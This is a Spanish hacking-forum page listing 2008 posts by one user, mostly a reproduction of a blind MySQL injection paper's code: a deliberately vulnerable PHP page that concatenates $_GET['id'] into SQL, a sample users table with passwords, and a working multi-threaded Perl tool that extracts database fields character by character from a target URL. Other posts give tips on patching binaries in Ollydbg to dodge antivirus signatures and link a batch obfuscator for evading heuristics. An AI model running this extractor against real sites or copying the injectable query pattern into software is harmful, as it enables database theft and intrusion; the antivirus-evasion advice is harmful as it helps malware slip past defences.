Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Hendrix

#111
Programación Visual Basic / Re: ASM en VB
10 Julio 2008, 11:20 AM
Cita de: Zeroql en 10 Julio 2008, 04:32 AM
en ASM se peuden crear driver virtuales para luego cargarlos con VB, yo hacia eso
al saber que en VB se peude cargar lenguaje ASM solo introdusco en code del driver en diseño y en ejecusion no tendre que llamar a este driver sea por API o por WMI

Eing  :huh: :huh:
#112
Interceptar ejecutables

Es algo viejo este articulo, pero te podria servir.

Un Saludo  :)

#114
Cita de: 70N1 en 16 Junio 2008, 23:09 PM
pero lo que necesito es saber las direcciones en memoria para luego borrarlas.

Supongo que sabras que Windows (y cualquier otro SO) utilizan memoria virtual, es decir, que N procesos pueden ocupar la memoria 0x0012345, ya que luego el SO lo traduce a memoria física (tema en el que no me voy a meter en como lo traduce porque  hay mucha información y el tema no va de esto). Ahora bien, si quieres saber en que dirección empieza, puedes leer el ImageBase en la cabecera PE del ejecutable, a este le sumas el entry point y ya lo tienes. En el PE puedes encontrar el tamaño del codigo.

Aunque no se para que te complicas, si ya te lo comentaron, con "inyectar mal" se produce una excepción dentro del proceso y ploff, se cierra. Aunque con los antivirus no te va a servidor porque se protegen su memoria desde el Kernel con un modulo de Kernel, asi que si es para AV's mejor busca otro metodo  ;)

Un Saludo  :)

#115
Ingeniería Inversa / Re: Duda Ollydbg
27 Mayo 2008, 23:46 PM
El metodo basicamente seria:

1º En donde este la firma poner un salto hacia una zona de codigo donde no haya ninguna instrucción (NOP's)

2º En esa zona, poner el codigo que se a substituydo anteriormente

3º Saltar otra vez donde pusiste el salto, justo después.

Todo eso lo tienes que hacer mirando de que no cambie nada en el procedimiento, es decir, como si no hubieses cambiado nada, ya que el mínimo fallo puede provocar un error.

Un Saludo  :)
#116
Ingeniería Inversa / Re: Duda Ollydbg
27 Mayo 2008, 21:57 PM
Si empiezas a cambiar instrucciones sin ton ni son te vas a cargar el ejecutable, tienes que saltar donde haya espacio para "crear" una función que haga el mismo efecto que la instrucción/es que substituiste para hacer el salto.

Un Saludo  :)
#117
Para saltar la heuristica utilizad esto: http://foro.elhacker.net/scripting/aporte_obfuscatebatch-t205084.0.html;msg974302

NOTA: Deben tener el framework del .Net instalado para poder ejecutar el ejecutable.

Un Saludo :)
#118
Queda algo feo que nos preguntes esto asi (poniendo nombres en el titulo), da a entender que solamente nosotros podemos responder a esta pregunta, y no es asi, aqui todo el mundo participa  ;)

Sobre lo que pides, no se si es posible en VB, nunca lo probe... :-\

Un Saludo  :)
#119
Tieens razon, yo solo habia visto lo de las targetas magneticas....de todos modos, no se que tieen que ver romper candados con la infomática  :xD

En fin, un saludo  :)
#120
Nivel Web / Blind MySql Injection by Ka0x
26 Abril 2008, 16:46 PM
Aqui dejo este papper que me paso ka0x para ser publicado aqui, esta bastante interesante

http://www.milw0rm.com/papers/197

Un Saludo

Editado:

Aqui dejo los codigos, para que no se tengan que copiar del PDF:

Codigo php:

Código (php) [Seleccionar]
<?php 

# ---- CONFIG -----
$host 'localhost';
$dbuser 'root';
$dbpass 'password';
$dbname 'blind';
# -----------------

echo "<title>Blind SQL Injection Test - D.O.M LABS 2008</title>";

$db mysql_connect($host$dbuser$dbpass);
mysql_select_db($dbname,$db);


$sql "SELECT * FROM users WHERE id=".$_GET['id'];
$query mysql_query($sql);

if(@mysql_num_rows($query)==0){
die('No hay columnas');
}

$result=@mysql_fetch_row($query);
echo "<h2><center><u>Blind SQL Injection Test<br>D.O.M LABS</u><br><br>";
echo "<font color='#FF0000'>user_id: </font>".$result[0]."<br>";
echo "<font color='#FF0000'>username: </font>".$result[1]."<br>";
// echo "Passwd: ".$result[2]."<br>";
echo "</h2></center>";

die();

?>


Código SQL:

Código (sql) [Seleccionar]
-- Table: users
-- by ka0x - D.O.M
-- Blind SQL Injection Paper

CREATE TABLE `users` (
  `id` int(10) unsigned NOT NULL auto_increment,
  `name` varchar(50) NOT NULL,
  `password` varchar(50) NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;

-- users --
INSERT INTO `users` VALUES (1, 'administrator', '1234%&_');
INSERT INTO `users` VALUES (2, 'ka0x', 't3st_bl1nd');
INSERT INTO `users` VALUES (3, 'bush', 'terrorist');
-- eof --


Código Perl:

Código (perl) [Seleccionar]
#!/usr/bin/perl -W

# Blind MySQL Injection Paper
# example brute force

# -- OPTIONS --
my $MAX_FIELD_LENGTH = 200 ;
my $EXIT_IF_NO_CHAR = 1 ;
my $DEFAULT_THREADS = 15 ;
my $DEFAULT_THREADS_TIMEOUT = 30 ;
my @ascii = ( 33 .. 123 ) ;
my $DEFAULT_THREADS_TIME = 1 ;
# ---

use LWP::UserAgent ;

sub _HELP_AND_EXIT
{
die "

  ./$0  -u <url>  -tn <table>  -cn <column>  -p <pattern>

Options:
  -u    <url>               Ex: http://www.google.es/vuln.php?id=1
  -tn   <table_name>        Table name.
  -cn   <column_name>       Column name.
  -p    <pattern>           HTML pattern.

Other:
  -t    <#>                 Threads, default '$DEFAULT_THREADS'.
  -l    <#>                 Maximum table name length '$MAX_FIELD_LENGTH'.
  -T    <#>                 Timeout.
  -h                        Help (also with --help).
" ;
}


my ($p, $w) = ({ @ARGV }, { }) ;

map {
&_HELP_AND_EXIT if $_ eq '--help' or $_ eq '-h' ;
} keys %$p ;

map {
die "[!] Require: $_\n" unless $p->{ $_ } ;
} qw/-u -tn -cn -p/ ;

$p->{'-t'} = ( $p->{'-t'} and $p->{'-t'} =~ /^\d+$/ ) ? $p->{'-t'} : ( $w->{'-t'} = $DEFAULT_THREADS ) ;
$p->{'-l'} = ( $p->{'-l'} and $p->{'-l'} =~ /^\d+$/ ) ? $p->{'-l'} : ( $w->{'-l'} = $MAX_FIELD_LENGTH ) ;
$p->{'-T'} = ( $p->{'-T'} and $p->{'-T'} =~ /^\d+$/ ) ? $p->{'-T'} : ( $w->{'-T'} = $DEFAULT_THREADS_TIMEOUT ) ;

map {
warn "[i] Getting default: $_ $w->{ $_ }\n" ;
} sort keys %$w ;

( &_IS_VULN( $p ) ) ? &_START_WORK( $p ) : die "[i] Bad pattern ? Isn't vulnerable ?\n" ;




sub _START_WORK
{
my $p = shift ;

($p->{'id_value'}) = ( $p->{'-u'} =~ /(\d+)$/ ) ; # Get the id value

my $position = 1 ;

pipe(R, W) ;
pipe(Rs, Ws) ;
autoflush STDOUT 1 ;

my $sql_message = '' ;
my $msg = '' ;
my @pid ;

while( $position <= $p->{'-l'} )
{
my $cf ;
unless( $cf = fork ){ &_CHECKING( $p, $position ) ; exit(0) ; }
push(@pid, $cf) ;

my $count = 0 ;
my $can_exit ;
my $char_printed ;

while(<R>)
{
chomp ;
push(@pid, (split(/:/))[1] ) if /^pid/ ;

my ($res, $pos, $ascii) = ( split(/ /, $_) ) ;
$count++ if $pos == $position ;

print "\b" x length($msg), ($msg = "$position $ascii " . chr($ascii) ) ;

if( $res eq 'yes' and $pos == $position ){
$char_printed = $can_exit = 1 ;
print Ws "STOP $position\n" ;
$sql_message .= chr( $ascii ) ;
}

last if ( $can_exit or $count == @ascii );
}

map { waitpid($_, 0) } @pid ;

unless( $char_printed )
{
if( $EXIT_IF_NO_CHAR )
{
warn "\n[!] \$EXIT_IF_NO_CHAR : I can't find a valid character, position $position.\n"  ;
last ;
}
}

$position++ ;
}

print "[i] SQL_FIELD:\n$sql_message\n" ;

}

sub _CHECKING
{
my ($p, $position) = @_ ;
my $counter = 0 ;
my $stop_position ;

foreach my $ascii ( @ascii )
{
$counter++ ;

if( $counter % $p->{'-t'} == 0 )
{
my $stop_position ;
eval
{
$SIG{'ALRM'} = sub { die "non_stop\n" } ;
alarm $DEFAULT_THREADS_TIME ;
my $line = <Rs> ;
$stop_position = (split( / /, $line))[1] ;
alarm 0 ;
} ;

if( ($stop_position) and $stop_position == $position ){ print "\nnext position\n" ; exit(0) ; }
}

unless(my $pid = fork )
{
print Ws "pid:$pid\n" or die ;


my $url = $p->{'-u'} .
' AND ascii(substring((SELECT ' . $p->{'-cn'} .
' FROM ' . $p->{'-tn'} . ' where id=' .
$p->{'id_value'} . '),' . $position . ',1))='. $ascii ;

my $ua = LWP::UserAgent->new ;
$ua->timeout( $p->{'-T'} ) ;

my $content ;
while( 1 )
{
last if $content = $ua->get( $url )->content ;
}

( $content =~ /$p->{'-p'}/ ) ? print W "yes $position $ascii\n" : print W "no $position $ascii\n" ;

exit( 0 ) ;
}

}
}



sub _IS_VULN
{
my $p = shift ;

my $ua = LWP::UserAgent->new ;
$ua->timeout( $p->{'-T'} ) ;

my ( $one, $two ) = (
$ua->get( $p->{'-u'}." AND 1=1")->content ,
$ua->get( $p->{'-u'}." AND 1=2")->content ,
) ;

return ($one =~ /$p->{'-p'}/ and $two !~ /$p->{'-p'}/) ? 1 : undef ;
}